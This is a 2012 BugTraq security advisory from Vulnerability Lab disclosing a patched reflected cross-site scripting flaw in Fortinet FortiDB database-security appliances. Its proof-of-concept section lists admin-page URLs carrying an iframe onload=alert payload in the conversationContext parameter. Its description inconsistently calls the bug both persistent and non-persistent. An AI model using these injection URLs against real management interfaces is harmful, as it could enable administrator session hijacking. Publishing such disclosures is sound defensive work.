BugTraq
FortiGate FortiDB 2kB 1kC & 400B - Cross Site Vulnerability Dec 01 2012 05:59PM
Vulnerability Lab (research vulnerability-lab com)
Title:
======
FortiGate FortiDB 2kB 1kC & 400B - Cross Site Vulnerability

Date:
=====
2012-11-29

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=558

VL-ID:
=====
558

Common Vulnerability Scoring System:
====================================
2.5

Introduction:
=============
Targeting large enterprises the FortiDB-2000B appliance provides scalable database security and
compliance solution. Utilizing its flexible policy framework, the FortiDB-2000B allows quick and
easy implementation of internal IT control frameworks for database activity monitoring (DAM/DAA),
IT audit, and regulatory compliance.

Designed for mid-sized enterprises, the FortiDB-1000C appliance provides a comprehensive database
security and compliance solution. Through its web-based interface, the FortiDB-1000C centrally
monitors, audits and scans multiple distributed, heterogeneous databases. This ensures consistent
database security policies across the organization without imposing high management burdens on your
database admin and IT staff.

The FortiDB-400B appliance provides a cost effective database security and compliance solution for
small to mid-size enterprises in a quick to implement, easy to manage package. It scans databases
for vulnerabilities, monitors, and audits databases activities, and generates compliance reports.
Its intuitive web-based interface ensures ease of configuration, minimizing the management burden
on your database administrators and IT staff.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortidb )

Abstract:
=========
The Vulnerability Laboratory Research Team discovered a Cross Site Scripting Vulnerability in FortiGates FortiDB 2kB 1kC & 400B.

Report-Timeline:
================
2012-05-06: Researcher Notification & Coordination
2012-05-10: Vendor Notification
2012-06-12: Vendor Response/Feedback
2012-10-24: Vendor Fix/Patch
2012-11-29: Public or Non-Public Disclosure

Status:
========
Published

Affected Products:
==================
Fortigate
Product: FortiDB - Database Security Appliance v2000B; 1000C & 400B

Exploitation-Technique:
=======================
Remote

Severity:
=========
Medium

Details:
========
A non-persistent input validation vulnerability is detected in FortiGates FortiDB Appliance 2000B 1000C & 400B.
The vulnerability allows remote attackers to implement/inject malicious script code on the application side (persistent).
The vulnerability is located in the Java Number Format Exception Handling module with the bound vulnerable output listing.
The bug is on application side & the execution is non-persistent out of the object exception-handling web application
appliance context. Exploitation requires low or medium user inter action. Successful exploitation of the vulnerability can
lead to session hijacking (manager/admin) or stable (persistent) context manipulation.

Vulnerable Module(s):
[+] Java Number Format Exception Handling

Affected Function(s):
[+] (Output) Listing

Proof of Concept:
=================
The vulnerability can be exploited by remote attacker with medium or high required user inter action. For demonstration or reproduce ...

Review: Java Number Format Exception-Handling - Listing [Output] Error

<pre class="errorExceptionCause">java.lang.NumberFormatException:
For input string: ""><[NON PERSISTENT SCRIPT CODE!]")' <"="" at="" java.lang.numberformatexception.
forinputstring(numberformatexception.java:48)="" java.lang.long.parselong(long.java:410)=""
org.apache.myfaces.orchestra.conversation.conversationmanager.findconver
sationcontextid(conversationmanager.java:157)=""
org.apache.myfaces.orchestra.conversation.conversationmanager.getcurrent
rootconversationcontext(conversationmanager.java:564)=""
org.apache.myfaces.orchestra.lib.jsf.contextlockrequesthandler.init(cont
extlockrequesthandler.java:87)=""
org.apache.myfaces.orchestra.lib.jsf.orchestrafacescontextfactory$1.<ini
t="">
(OrchestraFacesContextFactory.java:119)
at ...

PoC:
http://utm-waf.127.0.0.1:1339/fortidb/admin/auditTrail.jsf?conversationC
ontext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/targetsMonitorView.js
f?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%
29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/vascan/globalsummary.jsf?conversat
ionContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/vaerrorlog/vaErrorLog.jsf?conversa
tionContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/database/listTargetGroups.jsf?conv
ersationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%
3C
http://utm-waf.127.0.0.1:1339/fortidb/sysconfig/listSystemInfo.jsf?conve
rsationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3
C
http://utm-waf.127.0.0.1:1339/fortidb/vascan/list.jsf?conversationContex
t=1%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/network/router.jsf?conversationCon
text=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/editPolicyProfile.jsf
?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%2
9%20%3C
http://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/maPolicyMasterList.js
f?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%
29%20%3C

Solution:
=========
The vulnerability can be prevented by parsing the java number format exception output listing & mkey application value.

2012-10-24: Vendor Fix/Patch

Risk:
=====
The security risk of the non-persistent cross site scripting vulnerability is estimated as medium(-).

Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (rem0ve (at) vulnerability-lab (dot) com [email concealed])

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===========
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